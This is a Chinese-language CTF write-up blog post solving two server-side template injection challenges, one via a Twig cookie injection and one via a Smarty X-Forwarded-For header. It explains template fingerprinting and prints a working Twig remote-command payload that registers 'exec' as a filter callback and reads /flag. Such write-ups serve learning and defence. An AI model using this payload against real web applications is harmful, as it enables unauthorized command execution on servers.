再遇SSTI
题目一
来自:
[BJDCTF2020]Cookie is so stable
这道题如果吃透的话,这类SSTI注入应该都可以触类旁通了。
打开页面,左上角flag和hint:
先打开flag,就看到这个查询框:
很难不让人想到SQL注入,但是试了半天也没用。
既然给了hint,那就去看看。
页面没有有用的东西。
但是源码内有个提示:
嗯?
那就bp抓包看看。
先抓hint的包,这个PHPSESSION没啥用好像。
那就直接再去抓flag页面的包。
输入admin查询看看:
刷新页面再看:
直觉是这个user这里可以进行SSTI注入。
参考了一下其他师傅的文章:
一篇文章带你理解漏洞之SSTI漏洞(神中神!!)
看之前先记住一句话:注入就是格式化字符串漏洞的一种体现。
SSTI主要为python的一些框架jinja2 mako tornado django。
模板注入测试顺序--是时候祭出这张图了:
这里我们尝试{{7*7}}, 返回49
(尝试{{7*'7'}},返回49,说明是Twig模板,但是如果返回7777777,则说明是Jinja2模板,尝试后便可发现本题是Twig模板。
尝试a{*comment*}b也可以在其他SSTI注入中测试是哪个类型)
我们来看看原理:
来自博客:https://blog.csdn.net/RABCDXB/article/details/115442449
//这个函数中调用了一个 call_user_function 方法 public function getFilter($name) { [snip] foreach ($this->filterCallbacks as $callback) { if (false !== $filter = call_user_func($callback, $name)) {//注意这行 return $filter; } } return false; } public function registerUndefinedFilterCallback($callable) { $this->filterCallbacks[] = $callable; }
我们只要把exec() 作为回调函数传进去就能实现命令执行了
原始payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
所以payload只需要将"cat /flag" 替换"id" 即可。
payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
直接在bp上对这个刷新过页面的user行注入:
获得flag。
题目二
来自:
[CISCN2019 华东南赛区]Web11
https://www.bilibili.com/read/cv18878567/
直接就看看这个wp吧,是关于smarty模块的SSTI注入。
下面是我自己抓包直接XFF然后RCE的,但是注意这里不用分号,不然会报错,直接写就行。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 一起来玩mcp_server_sqlite,让AI帮你做增删改查!!
· 零经验选手,Compose 一天开发一款小游戏!